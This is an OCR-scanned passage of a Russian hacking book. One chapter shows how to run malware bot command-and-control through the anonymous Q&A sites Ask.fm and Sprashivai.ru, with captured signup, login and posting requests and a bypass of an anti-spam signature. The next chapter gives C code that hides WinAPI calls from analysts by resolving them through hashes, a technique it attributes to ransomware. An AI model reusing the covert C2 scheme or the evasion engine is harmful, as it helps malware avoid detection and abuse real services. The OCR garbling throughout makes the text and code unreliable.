-ibin1ZcqmiKyЗdcn02YPxEPe 72 ZdЗF9MRCF3n-JxXY2nr2AaZKZTiOILkS_i_uO 

Рис. 3.3. РОSТ-запрос на регистрацию аккаунта Sprashivai.ru 
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Request 

~ .. ! Params ] Headers ] Нех \ 

POST / signup ВТТР / 1. Ц 

Bost : ask.fm 
Oser-Agent: Mozi lla / 5.0 (Macintosh; Intel Мае OS Х 10. 1 2 ; 
rv : 57.0) Gecko / 20100101 Firefox/ 57.0 
Accept: application / json , text / javascript, * /* ; q=0.01 
Accept-Language: ru-RO,ru;q=0.8,en-OS;q=0.5,en;q=0. 3 
Referer: https : // ask.fm / signup 
Content-Type : application / x-www-form-ur l encoded ; charset=OTF-8 
X-Requested-With: XMLBttpRequest 
Content-Length : 461 
Cookie: locale=en; uuid= eeOfllO b- 52d7-4ab9-84ea-97eacЫcb6af ; 

country =RO ; 
m ask fm session=NWJkNW l z RO lRSGZ PNFNMa21WT2g 2LO wr0 8B z UXZ i RkRtVk 
hIMkttaEhIZOh XcW QrT l RF O TR i O G hI01BzRlF BMz R k T VJ T OmtTQORXZmE4WnlMMЗ 

JTYTF YUVRaRzdLQO Vpc O Z zOEgvbO 1 z Wm9 r RmlsZ ElCRGdB!IXQzcOF 2dFVaYnE lRT 
dЗek M 4aEJXKl cЗcX lq ekxjZWcЗ T WpЗWDF H GFJISTlm d DJZcldVMk p C T TBqbOVIK0 

О у ОН Z z YXhaai 9zQ0 5 s SU pyOG9 Н eWM 1 WiiShOV 1 jVnVXVHШIMEhhUW9 kc 1 p2aj с 5Rk 
lOL25CK2 V Pd Gxta EJ lMX 1B bO I 4VOgvY2xDMЗphZy0tb'v-ВIY21VL2M v OVZaNUpVcD 

Fa M TcЗdz09- -207 4b 03 6 78ba3f246cbd5aaa04f7c3d7b50aeb38 ; __ qc a =P0-1740 
request method=PO ST 
Connection : close 

ut f 8= %Е 2 % 9С% 9 3 &authentic i t у t o ken=Kl j У iKgJAeDD6LORD j h % 2Fk,tvde 1 t2 О 
mt M L90xBs 7 D4 vG fK ЗO kd W8o%2BMen4tзhYmgWBrj4kGqw25ERdf9Mg9eK5Q%3D%3 
D&user%5Btz id%5D=Asia%2FYekaterinburg &user%5Bgmt o ff s et%5D= ЗOO & 

user% 5Bemail % 5 D= x a kep account %4 Omail . СО!П & u ser % 5Bname % 5 D=xakep ас 
count&u ser%5B login%5D~xakep account &user%5Bpasswo rd%5D=xakep асс 
ount &user%5Bborn at day%5D=l8 &user%5Bborn at month%5D= 2 &user%5Bb 
orn_at_year%5D=l99 l&user%5Bgender_id%5D= 2&user%5Blanguage_co d e %5 

D=en 

Рис. 3.4. РОSТ -эа прос на регистрацию аккаунта Ask.fm 

Единственный момент , который зде сь нужно учесть, состоит в отправке на сервер 

параметра authenticity_token, который включен в ко д страницы регистрации и вы­

глядит примерно так: 

<input type= "hidden " name="authent i city_ token " value = " KljYiKgJAeD D б L OR Djh / 

kuvdelt2UrntМL9 0 xBs 7 D4 vG f К3UkdW8o+Men4tzhYrngWВ r j4kGqw25E R d f 9Mg9eK5Q== " /> 

В общем , с автоматической регистрацией для Ask.fm нет никаких проблем , доста ­

точно сделать два запроса: о д ин - для получения токена , сессии и прочей инфор­

мации , другой - с целью регистрации акка у нта . 

Авторизация 

Оператору нужно иметь во зможность автоматизировать, кроме регистрации , про­

цесс авторизации с зарегистрированными учетками. Ни Sprashivai.ru, ни Ask.fm не 

используют капчу при ауте нтификации пользователя , что существенно уп рощает 

задачу. При этом Sprashivai.ru вычисляет хеш пароля на стороне клиента и отсы­

лает серверу уже его , а не сам паро ль в открытом виде. Вот так выглядит за прос на 

авторизацию в сервисе Sprashivai.ru (рис . 3.5). 

Запрос на автори за цию для Ask.fm показан на рис. 3.6. 

Опять-таки на Ask.fm мы ви д им , что в коде страницы с вопросом со д ержится па­

раметр authenticity _ token. 
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Request 

J Raw 1 Params 1 Headers j Нех 1 
POST / ajax/ signin BTTP / 1.l 
Host: sprashivai.ru 
Oser-Agent : Mozilla/ 5 .0 (Maeintosh; Intel М ае OS Х 10 .12; r v: 57.0) 
Geeko / 20100101 Firefox/ 57.0 
Aeeept: applieation / json, text / javaseript, • ! • ; q:0.0 1 
Aeeept-Language: ru-RO , ru ; q:0.8,en-0S;q:0 .5, en;q:O.З 

Referer : http: // sprashivai. ru / apps 
Content-Type: applieation / x - www-form-urleneoded; eharset:OTF-8 
X-Requested-With: XMLHttpRequest 
Content-Length : 57 
Cookie: ym uid: 15086 73 892182709891 ; ga:GAl.2.1243396374.1508673892 ; 
usersession~ 2c247e9409ef272829la7ele3 c4 llaббfe34a0lfee7b8f78e540e b5aб25d 7 
9d8 ; eheek: l ; 
spr_e:f4 e4d8be7958e95aeaaade29384576ЗaЫ767aбaeleOec42ff74a239Ыc9Зe22 ; 

JDDI:HAECBWlASGSK; g1d:GAl.2.33757247 8.l5 13323360 ; ym isad: 2 ; gat : l; 
gal i : signin btn - - -

Connection: ~lose 

email : xakep_aeeount&pass:5 38f2Ыel el6426d8babef744b8ebal7 

Рис. 3.5. Запрос на авторизацию в сервисе Sprashivai.ru 

Request 

J Raw 1 Params j Headers 1 Нех ] 

POST / login ВТТР / 1.1 

Bost: ask.fm 
Oser-Agent : Mozilla/ 5.0 (Maeintosh ; Intel М ае 05 Х 10.12 ; 
r v :5 7.0) Geeko / 20100101 Firefox/ 57.0 
Aceept: applieation / json, text / javaseript, •!• ; q:0.01 
Aceept-Language: ru-RO,ru;q:0 . 8,en-0S;q:0.5,en;q:0 .З 

Referer: https: //ask . fm / login 
Content - Type: applieation / x-www- forш-urlen eoded; e harset:OTF-8 
X-Requested-With: XMLBttpRequest 
Content-Length : 189 
Cookie: loeale:en; uui d : eeOfll0b-52d7-4ab9-84ea-97eacЫebбaf ; 

eountry: RO; 
ш ask fm session: bOe we lBLek5nQklrQ2FnMG5tR l M 5Y 2 p Wdl pбK2tIYOtDN2 

VVL2dqNkFOd0RhOE9sYzJjelBT WmN p MStб OE45RVRES W pzaOxsbFJiZmlualM w QV 
paOOtkaOp40B lN O TF4eF V 5R m F OQnox ROlF Yш5Q TDdp Sk54NFlv T Bp QNEQzZEkxSG 

hXbENI WS 9B V GNs MnNj O ЗRWYS9jMkZ 50 V ZDa XpMb nJQQlph M lBTKzRVR W lv W Fk 2S1 

Rmdmt XaitSW ll SYOZБ a ЗRrZjYrbzJpVkt kS nBhMBlsdFOwYllLZF Btb WVvWV lkc W 

Б w ROklT m FaZ VZ0Qldia3MlOklLe04yNЗ Q20Fl W ai 0tOEV uNF k zOS9uTjBCdO Y2 cW 

hЗS05qQT09- - 325lle325 ebfб 7f 9lfd77ffl8a7149eb033035Зd ; 

qea:P0-1 7 402 46 76-1 51 306 8136562 ; 
ра : 1513068196658 . 813 70.3 1037Зlб2264З9З 7 аsk.fш0.4044327535649396+ 

1 ; ОХ plg:pm 
ConneCtion: close 

utf8:%E 2%9C%9З &authentieity token: RjoGO MriYXLWOg PWWpkxn5dFtmEC4If 
aWLjquDs FTBhsZ C dK ш B ZkВSdjNjdkQ2aj8b Pl br02Q R OM T V IqVM S GtQ%ЗD%3D& lo 
g in:xakep _ aeeo,int&password:xakep_ ae eount &remeшber _me: l 

Рис . 3.6. Запрос на авторизацию для Ask.fm 

Публикация информации для ботов 

Тут все так же просто . Первый за прос оператора д о лже н собирать имеющиеся во­

просы , а второй - отвечать на них так , чтобы сам ответ или приложенная инфор­

мация несла в себе поле зную нагрузк у дл я ботов. Я не буду прикладывать сюда 



□-- 50 -- □ 

скриншоты запросов, поскольку они выглядят аналог1:1чно. Если есть желание , 

можешь взять Burp Suite и самостоятельно убедиться, что в запросах нет никакой 

магии . 

Канал связи «бот - оператор» 

Этот канал связи реализуется ч ере з отправку анонимных ответов. Сервис 

Sprashivai.ru, если мне не изменяет память , всег д а по дд ерживал такую возмож­

ность без авторизации пользователя , а вот на Ask.fm она появи л ась сравнительно 

н еда вно. Анонимный вопрос пользователю Ask.fm в виде запроса выглядит при­

мерно так , как показано на рис . 3. 7. 

Request 

IJ Raw Т Params 1 Headers 1 Нех ] 

POST /xakep_account2 / ask BTTP/1 .lj 
Host: ask.fm 
User - Agent: Mozi lla/ 5 .0 (Mac intosh; Intel Мае OS Х 10.12; 
rv:57.0) Gecko / 20100101 Firefox/ 57.0 
Accept: application / json, text / javascript, */*; q=0.01 
Accept-Language: ru-RO,ru;q=0.8,en-DS;q=0.5 , en;q=0.3 
Referer: https: // ask.fm/xakep account2 
Content-Type: application / x-www-for rn -urlencoded; c harset=DTF-8 
X-Requested-With: XMLHttpRequest 
Content-Length: 256 
Cookie: locale=en; uuid=eeOfllOb-52d7-4ab9-84ea-97eacЫcbбaf; 
country=RD; 

rn ask frn session=OGx3bG1VeEJВajRORWl L W1EvWkR BT ytkN2JЗclNrnc01PZF 

F M aE M1WnpQWXdOQ1RsЫdMS2 03ajRReXJOR2ZшS111EyNVl8dGlERlVRYWlzWFcraW 
5uYkFabjRleSsvMmOxSXlrWlBZRXNo008vWrnlrnMisvdG95b2hZMjNzMlJGMOZSNX 
h j Z y9NKЗNМNnh iSO 5 5 OGZVb О xCQOt YM GhhVkMr ZnJYb jB У Zrn9 OSWl KL2 Zn1TGxS DV 
ZOTzivOW92ZGVIVkZEdVNveFEvRklaOEZVWBFDV2FXRVN1ZшdsZOpva0hSNEOSRD 

RJ"~VclY1RnSEpZYЗIObDYOVnkxZS9hNVorWkRleSOtS8llDXYxc3NaQzJMM1ErVD 

JOZOxpDT09--fea613b34bad0320380602a7f5dccfd9899Ыlб8 ; 

qca=P0-1 74024 6 76 -1513068136562; 
pa=l5135 78851625.3280.00225 8286111606944ask.frn0 . 8307936020642742 
+1; question=Hello !%20This%20is%20anonyinous%2 0question! 
Connection: close 

utf8= %E2%9C%9З &autheaticity_token=RvшY13101WqBMwdz8rnKDQqs2Zu8TQss 

2LGDG9jFNMgCrnhpoTYHnW%2FNgLCxOMQDisVeJ8H7hбf4kV11Jk47Mkw%3 D%3D& 

question%5Bquestion text%5D=8ello ! +This+is+anony1nous+question ! &q 
uestion%5Bterms_accepted%5D= O& question%5Bterrns_accepted%5D=true 

Рис . 3.7. Анонимный вопрос пользователю Ask .fm в виде запроса 

Вып олн яе тс я РОSТ-запрос к /<account_name>/ask, содержащий уже знакомый нам 

authenticity _ token из кода страницы и сам вопрос. Интересно , что задаваемый 

вопрос дубли р уется в Cookie, отправляемой в запросе, - эт о нужно учесть при 

автоматизации процесса. 

Для Sprashivai.ru картина немного иная (рис . 3.8). 

В параметрах ви дно имя аккаунта, ф ла г , о зн ачающий , что вопрос будет задан ано­

нимно, а также сам вопрос и два странных хеша. В процессе авторизации мы уже 

встречали нечто подобное - похоже , разработчики Sprashivai.ru просто питают 

н ездо р овую тягу к хешированию. Хорошая новость состоит в том , что значение 
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параметра hash присутствует в коде страницы , с которой мы и пытаемся отправить 

вопрос пользователю: 

<button id="ask_Ьtn" class="Ьtn_form_yellow" 

onclick="Responses . ask( ' xakep account' , 'c47ldlf28a094d632al3lc0fd857b361037cc2b 
99a9b4lb67130dЬcdбfdld089 ' ) ; return false;">Cпpocить</button> 

Отсюда вытекает и вторая новость, но уже плохая - значения параметра sig на 

странице нет. По всей ви д имости , оно вычисляется в ходе работы какого-то скрип­

та. А это значит , что для восстановления алгоритма генерации этого параметра нам 

нужно реверсить обфусцированный JavaScript. 

Request 

l}~wiJ Params Т Headers \ Нех l 
POST / question /ask НТТР / 1. Ц 

Host: sprashivai.ru 
Oser-Agent : Moz illa/ 5 . 0 (Macintosh; Intel М ае OS Х 10.12; 
rv:57.0) Gecko /201 00101 Firefox/ 57 .0 
Accept: application / json, text/javascript, */*; q=0 .01 
Accept-Language: ru-RO,ru;q=0.8,en-0S;q=0.5,en;q=O.З 
Referer: http: //sprashivai.ru / xakep account 
Content - Type: application / x-www-form-urlencoded; charset=OTF-8 
X-Requested-With: XMLHttpRequest 
Content-Length: 218 
Cookie: ym uid=l5086 7З 892182709891; 

_ga=GAl.2.1243396374.1 508 673892; 
usersession= 6279Зd06177899089ЗOc860 db48d d650Зb895fOЗb0fafb Oa З4 f4 

f97fa94e2cf0; check= l ; 
spr c= e4a4cfc26292Ы79570e5198 614c6d8 2188e4b f l9ae4ddaccЗЗ2fЗc b67 

8ce4fc; JDDI=HACGFW2ASGSK ; ym isad=2; 
gid=GAl ,2.1688565648.1513580557; gat=l; gali=ask btn 

Connection: close - - -

username=xakep account &anonymously=yes&question=Hello! +This +is+a 
+test+question!&hash=c47ldlf28a094d6З2alЗlc0fd857bЗ61037cc2b99a9 
b4lb67130dbcd6fdld089&sig=f9f98ec6d474bbddl66ЗЗOЫ80a0524dc40256 

5dc6decb4c32c24b928fe97a88 

Рис. 3.8. Анонимный вопрос пользователю Sprashivai .ru в виде за проса 

Дебаггер Firefox позволяет определить функцию , которая генерирует значение sig. 

Как видно на рис. 3.9, значение этого параметра формируется функцией hash_ask 

с двумя параметрами. 
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Рис. 3.9. Определение функции , генерирующей значение sig 

Сама функция hash_askO описана в скрипте secure.min_2015_06_26.js (https:// 
st.sprashivai.ru/8/4839e425118f/secure.min _ 2015 _ 06 _26.js) и выглядит следующим 

образом: 
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function hash_ask (r , e ) { 

var t= " 2O889rz3A5К30hxi8cazk7UcJY8623tB N GMLW49R " + 

е + r + 

"bDM808Lt8g647vlGhDtbCRhvxBkJyNkmjn8574zT"; 

return secr(t) 

С помощью отладочных средств , встроенных в Firefox, мне удалось узнать , что па­

раметр r функции hash_ask равен значению переменной hash, которая передается 

в запросе и содержится в коде страницы, а е - имени пользователя, которому зада­

ется вопрос. 

Проблема в том , что нам нужно найти значение , которое возвращает функция 

secrO. Ее определение отсутствует и в этом файле, и во всех остальных. Тут я со­

вершил промашку , которая стоила мне лишних трудов. В secure.min_2015_06_26.js 

содержится какой-то скрытый обфускацией код, и я решил его отладить и деобфус­

цировать. Спустя несколько часов кропотливой работы с Rhino я обнаружил, что 

этот код , по сути , считает SНА-256 от входной строки. 

На самом деле э то не нужно. Если прогнать значение sid через hashid, то мы узна­

ем , что это 256-битный хеш от некой строки (рис. 3 .1 О). 

[german@vm117494 ~)$ hashid f9f98ec6d474bbdd166330b280a0524dc402565dc6decb4c32c2 

4b928fe97a88 
Analyzing 'f9f98ec6d474bbdd166330b280a0524dc402565dc6dccb4c32c24b928fe97a88' 

[+] Sпefru-256 

[+] SHA-256 
[+] RIPEMD-256 

[+] Haval-256 
[+] GOST R 34.11-94 
[+] GOST CryptoPro S-8ox 

[+] SНАЗ-256 

[+] Skein-256 
[+] Skein-512(256) 

Рис. 3.1 О. Определение значения sid 

А в коде скрипта можно заметить отсылки к SНА-224, что, видимо, указывает на 

алгоритм хеширования. Проверка этой теории сэкономила бы мне уйму времени и 

нервов. Также мне удалось нагуглить несколько страниц с этим же кодом на раз­

ных форумах. Не исключено , что это занятие привело бы к нужному результату 

еще скорее. 

Но вернемся к решению изначального вопроса. Чтобы сгенерировать значение 

параметра sig, нам нужно взять строку hash из кода страницы, имя пользователя и 

еще несколько строк и сформировать хеш SНА-256 от этого значения. Почти три 

года назад я доложил создателям сервиса Sprashivai.ru, что такая защита как ми­

нимум не работает, и создал репозиторий на GitHub с кодом, который позволяет 

автоматически задавать вопросы конкретному пользователю. Уверен, что этот код 

позволит желающим разобраться в теме в том случае, если я что-то непонятно 

описал. Найти его можно по адресу: https://github.com/german-namestnikov/ 

sprashivai.ru_antispam_bypass/. 



□-- 53 -- □ 

Выводы 

Как мы убедились , анонимные сервисы вопросов и ответов можно без проблем ис­

пользовать для управления вредоносным софтом. У Ask.fm нет никакой защит ы от 

этого, а Sprashivai.ru в качестве защиты использует некорректную методику. На­

верняка многие другие анонимные сервисы тоже подойдут для этих целей. 

Тем не менее , у такого метода есть ряд существенных недостатков. Во-первых, при 

передаче данных от бота к сервису нужно как-то кодировать передаваемые данные 

дл я того , чтобы избежать лишних подозрений. Во-вторых , стихийное во з растание 

количества посетителей некоторых аккаунтов также может привлечь к себе внима­

ние администрации ресурсов. Как снизить эти риски - каждый решает сам. 
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4. Обфу с цируем вызовы WinAPI 
и изуч а е м способы принудительного 

заверш ен ия процессов в Windows 

Nik Zerof 

Образцы серье з н о й м алвари и вымога т елей часто содержат инте р есные методики 

заражения , скры т ия ак т ивности и нестандартные отладочные прием ы . В ви р у с ах 

типа Potato или вымогателях вроде SynAsk используется простая, но мо щ на я 

техника скрытия вы з овов WinAPI. Об э том мы и поговорим , а заодно на п и ш ем 

рабочий пример скры т ия WinAPI в приложении . 

Обфускац и я вызовов WinAPI 

Итак , есть неско л ько спос о бов скрытия вызовов WinAPI. 

1. Виртуали з ация . Важный ко д скрывается внутри самодельной виртуал ь ной 

машины . 

2. Прыжок в т ело ф у нкции WinAPI после ее пролога. Для этого нужен дизассемб -

л ер длин инстр у кций . 

3. Вызов ф у нкций по их х еш- з начениям. 

Все остальные тех ники - э то разные вариации или раз в итие трех э тих атак. П е р­

вые д ве встречаются нечаст о - слишком громоздкие. Как минимум п риходитс я 

всю ду таскать с собо й д изассемблер д лин и прологи функций, рассчитанн ы е на д в е 

разные ар х итек ту ры . Вы з ов функций по хеш-именам прост и часто использу е тс я 

в более-менее ви д ной малвари (даже кибе р шпионской) . 

Наша з адача - написать легко масштаби р уемый мотор для реализации ск ры ти я 

вызовов WinAPI. Они не д олжны читаться в таблице импорта и не должны б ро сать ­

ся в глаза в дизассемб л ере . Давай напишем короткую программу для э к с п е ри м ен­

тов и откомпи л ируем ее дл я х64 . 

# incl ude <Windows . h> 

int main() { 

НANDLE hFile = CreateFileA ( " С : \\ test \ \ text . t x t ", 

GENERIC_READ , 



FILE _ SНARE_READ , 

NULL, 

OPEN_EXISTING, 

FILE ATTRIБUTE_NORМAL , 

NULL) ; 

Sleep(SOOO) ; 

return О ; 
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Как видишь , здесь используются две функции WinAPI - CreateFileA и Sleep. 
Функцию CreateFileA я решил привести в качестве примера не случайно - по ее 

аргументу "C:\\test\\text.txt" мы ее легко и найдем в уже обфусцированном виде. 

Давай глянем на дизассемблированный код этого приложения. Чтобы листинг на 

ASM был выразительнее , программу необходимо откомпилировать , избавившись 

от всего лишнего в коде. Откажемся от некоторых проверок безопасности и биб­

л иотеки CRT. Для оптимизации приложения необходимо выполнить следующие 

настройки компилятора : 

□ предпочитать краткость кода (/Os); 

□ отключить проверку безопасности (/Gs-); 

□ отключить отладочную информацию ; 

□ в настройках компоновщика отключить внесение случайности в базовый адрес 

(/DYNAMICBASE:NO); 

□ включить фиксированный базовый адрес (/FIXED); 

□ обозначить самостоятельно точку входа (в нашем случае это main); 

□ игнорировать все стандартные библиотеки (/NODEFAULTLШ); 

□ отказаться от манифеста (/МANIFEST:NO). 

Эти действия помогут уменьшить размер программы и избавить ее от вставок не­

явного кода. В моем случае получилась программа размером 3 Кбайта. Ниже - ее 

полный листинг: 

puЫic start 

start proc near 

dwCreationDisposition= dword ptr - 28h 

dwFlagsAndAttributes= dword ptr - 20h 

var_l8= qword ptr - 18h 

sub rsp , 48h 

and (rsp+48h+var_l8] , О 

lea rcx , FileName ; "C: \\test\\text .txt " 

xor r9d , r9d ; lpSecurityAttributes 

mov (rsp+48h+dwFlagsAndAttributes] , 80h ; dwFlagsAndAtt ributes 

mov edx , 80000000h ; dwDesiredAccess 

mov [rsp+48h+dwCreationDisposition] , 3 ; dwCreationDisposition 
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lea r8d , [r9+1] dwShareMode 

call cs : CreateFileA 

mov есх , 1388h dwMilliseconds 

call cs : Sleep 

xor еах , еах 

add rsp , 48h 

retn 

start endp 

Как видишь , функции WinAPI явно читаются в коде и видны в таблице импорта 

приложения (рис. 4.1 ). 
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Рис. 4.1. Приложение в программе РЕ-Ьеаг 

Теперь д авай создадим модуль , который поможет скрывать от любопытных глаз 

исполь зуе мые нами функции WinAPI. Напишем таблицу хешей функций: 

static DWORD hash_api tаЫе[] = { 

Охе976с80с , // CreateFileA 

ОхЬ23Зе4а5 , // Sleep 

В этом разделе нет смысла подробно приводить алгоритм хеширования - их десятки , 

и они доступны в Сети , даже в Википедии . Могу посоветовать алгоритмы, с возмож­

ностью выставления вектора начальной инициализации (seed), чтобы хеши функций 

были уникальными. Например , подойдет алгоритм MurmurHash. 

Давай условимся, что наш макрос хеширования будет иметь прототип НАSН_ 

API(name, name_len, seed), где name - имя функции , name_len - длина имени, 

seed - вектор начальной инициализации. Так что все значения хеш-функций 

у тебя будут д ругими , не как в книге! 
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Поскольку мы договорились писать легко масштабируемый модуль , определимся, 

что функция получения WinAPI у нас будет иметь следующий ви д : 

LPVOID get_api(DWORD api_hash , LPCSTR module) ; 

Но до этого еще нужно дойти, а сейчас напишем универсальную функцию , которая 

будет разбирать экспортируемые функции WinAPI передаваемой в нее системной 

библиотеки : 

LPVOID parse_exp ort_taЬle(НМO DULE module , DWORD api_hash) 

PIМAGE DOS HEADER img_dos_header ; 

PIМAGE _ NT_НEADERS img_nt_header ; 

P IМA GE EXPORT DIRECTORY in_export ; 

i mg_dos_header = ( PIМAGE_DOS_HEADER)module ; 

img_nt_header = (PIМAGE _NT_HEADERS ) ((DWORD_PTR)img_dos header + 

img_dos_header- >e_lfanew) ; 

in_export = (PIМAGE _EXPORT_DIRE CTORY) ((DWORD_PTR)img_dos_header + 

img_nt_header - >Opt i onalHeader .DataDire ctory[IМAGE_DIRECTORY_ENTRY_ 

EXPORT] .VirtualAddress); 

По ходу написания этой функции я буду пояснять , что к чему , потом у что путеше­

ствие по заголовку РЕ-файла - дело непростое (у динамической библиотеки будет 

именно такой заголовок). Сначала мы объявили используемые переменные , с э тим 

не должно было возникнуть проблем. Далее, в первой строчке кода , мы получаем 

из переданного в нашу функцию модуля DLL ее IМAGE_DOS_HEADER . Вот его 

структура : 

typedef struct IМAGE 00S HEADER 

WORD e_magic ; 

WORD е_сЫр ; 

WORD е_ср ; 

WORD е crlc ; 

WORD е _ cparhdr ; 

WORD е minalloc ; 

WORD е maxalloc ; 

WORD е ss ; 

WORD е sp ; 

WORD е csum; 
-

WORD е ip ; 
-

WORD е cs ; 
-

WORD е lfarlc ; 
-

WORD е ovno ; 
-

WORD е res [4] ; 
-

WORD е oemid ; 
-

WORD е _oeminfo ; 

WORD е res2[10] ; 
-

LONG е lfanew; -
IМAGE DOS _HEADER, 

-
*PIМAGE DOS HEADER; 



□-- 58 -- □ 

Здесь нас интересует поле e_lfanew- это RVA (Relative Virtual Add1·ess, смеще­

ние) до заголовка IМAGE_NT_НEADERS , который , в свою очередь , имеет такую 

структуру : 

typedef struct IМAGE_NT_HEADERS { 

DWORD Signature ; 

IМAGE FILE HEADER FileHeader ; 

IМAGE OPТIONAL HEADER32 OptionalHeader; 

IМAGE_NT_HEADERS32 , * PIМAGE_NT _НEADERS32 ; 

Нужное нам поле OptionaШeader указывает на еще одну структуру -

IМAGE_OPTIONAL_НEADER. Она громоздкая , и я ее сократил до нужных нам 

полей, точнее до элемента DataDirectory, который содержит 16 полей. Нужное нам 

поле называется IМAGE_DIRECTORY_ENTRY_EXPORT. Оно описывает сим­

волы э кспорта , а поле VirtualAddress указывает смещение секции экспо рта: 

typedef struct IМAGE_OPТIONAL_HEADER { 

IМAGE DATA_DIRECTORY DataDirectory[IМAGE_NUМВEROF_DIRECTORY_ENTRIES] ; 

IМAGE_OPТI ONAL_HEADER32 , *PIМAG E _OPТIONAL_HEADER32 ; 

Итак , мы в секции экс порта , в IМAGE_EXPORT_DIRECTORY . Продолжаем ее 

читать: 

PDWORD rva name ; 

UINT rva ordinal ; 

rva_name = (PDWORD) ((DWORD_PTR )img_dos_header + in_export- >AddressOfNames) ; 

r va_ordinal = (PWORD) ((DWORD_PTR)img_dos_header + in_export­
>AddressOfNameOrdinals) ; 

Чтобы было понятнее , вот структура IМAGE_EXPORT_DIRECTORY : 

typedef struct IМA GE_ E XPORT_DIRECTORY { 

DWORD Characteristics ; 

DWORD TimeDateStamp; 

WORD MajorVersion ; 

WORD MinorVersion; 

DWORD Name ; 

DWORD Base ; 

DWORD NumЬerOfFun c tions ; 

DWORD NumЬerOfNames ; 

DWORD AddressOfFunctions; 

DWORD AddressOfNames ; 

DWORD AddressOfNameOrdinals ; 

IМAG E_E XPORT _ DIRECTORY , *PIМAGE_EXPORT_DIRECTORY; 

Наконец-то мы пробрались сквозь дебри заголовка РЕ к нужным нам данным. Ос­

тальное - дело техники. Как ты уже понял по коду , здесь нас интересуют два поля : 

AddressOfNames и AddressOfNameOrdinals. Первое содержит имена функций , 

второе- их индекс (читай: номер). Суть дальнейших действий проста: в цикле мы 

будем просматривать и сверять переданный в нашу функцию хеш с хешами ф унк ­

ций в таблице эк спорта и, как найдем совпадение , выходим из цикла: 
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UINT ord = - 1; 

f or (i = О ; i < in_export- >N шnЬerOfNames ; i++ ) { 

api_name = ( РСНАR ) ((DWORD_PTR)img_dos_header + rva_name[i] ) ; 

get_hash = НASH_API (api_name , name_len , seed) ; 

if (api_hash == get_hash ) { 

ord = (U INT ) rva_ordinal[i) ; 

break ; 

Нашли! Теперь получаем ее а д рес и во з вращаем его: 

func addr 

func fi nd 

(PDWORD ) ((DWORD_PТR)img _dos_header + 
in_export->AddressOfFunctions) ; 

(LPVOID ) ((DWORD_PTR)img_dos_header + func_addr[ord]) ; 

return func_find ; 

В коде отсутствуют проверки корректности обрабатываемы х и поступающих в функции 

данных . Это сделано умышленно , чтобы не засорять код и не отвлекать читателя . 

Функция получилась весьма короткая и понятная. Теперь перейдем к написанию 

основной функции. Помнишь , мы ее обозначили как LPVOID get_api? Она будет , 

по сути, оберткой над parse_export_taЫe , но сделает ее универсальной. 

Дело в том, ч то наша функция parse_export_taЫe слишком «сы рая » - она про­

сматривает таблицы импортов передаваемых в нее библиотек , но не читает эт и 

библиотеки в память (если их там нет). Для этого мы используем функцию 

LoadLibrary, точнее ее хешированный вариант. Зао д но проверим работоспособ­

ность parse_export_taЫe . 

Ф ункция экспортируется библиотекой Kernel32.dll . Чтобы начать с ней работать , 

мы должны найти эту биб л иотеку в адресном пространс тве нашего процесса через 

РЕВ. Я буду писать сразу универсальный код , который п одойдет для обеих архи­

тектур: 

LPVOID get_api (DWORD api _hash , LPCSTR module ) { 

НМODULE krnl32 , hDll ; 

LPVOID api_func ; 

#ifdef WIN64 

i nt ModuleList = 0xlB ; 

int ModuleListFlink = 0xlB ; 

int KernelBaseAddr = 0xl0 ; 

INT_PTR реЬ = _readgsqword(0xб0) ; 

#else 

int ModuleList = ОхОС ; 

int ModuleListFlink = 0xl0 ; 

int KernelBaseAddr = 0xl0 ; 

I NT PTR реЬ _r eadfsdword(0xЗ0) ; 

#endif 
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// Теперь получим адрес kernel32 . dll 

INT РТR mod list - -
INT РТR list flink 

LDR MODULE *ldr mod 

*(INT_PTR* ) ( реЬ + ModuleList ) ; 

* (INT_PTR* ) (mod_lis t + ModuleListFlink ) ; 

(LDR_MODULE* ) list_flink; 

for (; list_flink != (INT_PTR) ldr_mod ; ) { 

ldr_mod = (LDR_MODULE*)ldr_mod- >e[0] . Flink ; 

if ( ! lstrcmpiW ( ldr _ mod->dllname . Buffer , L"kernel32 . dll " )) 

break ; 

krnl32 (НМODULE ) ldr_m o d - > base ; 

Далее нам необходимо объявить прототип нашей функции LoadLibraryA. Это 

нужно сделать в начале файла. Вот прототип: 

НМODULE (WINAPI *temp_LoadLibraryA) ( in LPCSTR file_name ) 

НМODU L E hash_LoadLibraryA(_in LPCSTR file_name) 

return temp_LoadLibraryA(file_name) ; 

NULL ; 

Кроме того , объявим прототипы наших функций из тестового приложения, которое 

мы писали в самом начале: 

НANDLE (WINAPI *temp_CreateFileA) ( in LPCSTR file_name , 

in DWORD access , 

in DWORD share , 

_inopt LPSECURITY_ATTRIBUTES security , 

_in DWORD creation_disposition , 

in DWORD flags , 

_inopt НANDLE templ ate_file ) = NULL ; 

НANDLE hash CreateFileA ( in LPCSTR 

in DWORD a ccess , 

DWORD share_mode , 

file_name , 

in 

_inopt 

in DWORD 

LPSECURITY ATTRIBUTES security , 

creation_disposition , 

in DWORD 

_inopt НANDLE 

temp_CreateFileA 

DWORD, 

flags , 

template _ file) 

= ( НANDLE (WINAPI * ) (LPCSTR, 

DWORD , 

LPSECURITY_ATTRIBUTES , 

DWORD , 

DWORD , 

НANDLE)) get_api (hash_api tаЫе [О] , "Kernel32 .dll " ) ; 

return temp_CreateFileA (file_name , access , share_mode , security, 
creation_disposition, flags , template_f i le) ; 
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VOID (WINAPI *temp_Sleep) (DWORD time ) = NULL ; 

VOID hash_Sleep( in DWORD t ime) { 

temp_Sleep = (VOID (WINAPI *) (D W ORD))get_ap i (hash_api_taЫe[l] , 

"Kernel32.dll " ) ; 

return temp_Sleep(time) ; 

Прототип для LoadLibraryA - упрощенный. Мы здес ь не используем нашу таб­

лицу хешей bash_api_taЫe[], потому что хеш LoadLibraryA мы з ахар дкод им 

дальше. Хеш будет у каждого свой , в зависимости от алгоритма хеширования: 

temp_LoadLibraryA = ( НМ O DULE (WINAPI * ) ( LPCSTR )) parse_e x p ort_taЬle(krnl32 , 

hDll = hash_LoadLibraryA (module ) ; 

api func = ( LP VO ID ) parse_exp o rt_taЫe ( hDll , api_hash ) ; 

return api_func ; 

0x731faae 5) ; 

Итак, все готово. Этот мотор для вызова функций по хешу можно вынести в от­

дельный файл и расширять , добавляя новые прототипы и хеши. Теперь , после всех 

манипуляций , изменим наш тестовый файл и откомпилируем его: 

int main( ) { 

НANDLE hFile = hash _ CreateFileA ( " С : \ \test\ \text . txt ", 

GENERIC _ READ , 

FILE_SНARE_READ , 

NULL , 

OPEN_EXISTING, 

FILE ATTRIBUTE_N O RМAL , 

NULL ) ; 

hash_Sleep (S000) ; 

return О ; 

Первое , что бросается в глаза , - наш файл работает! Текстовый файл создается, 

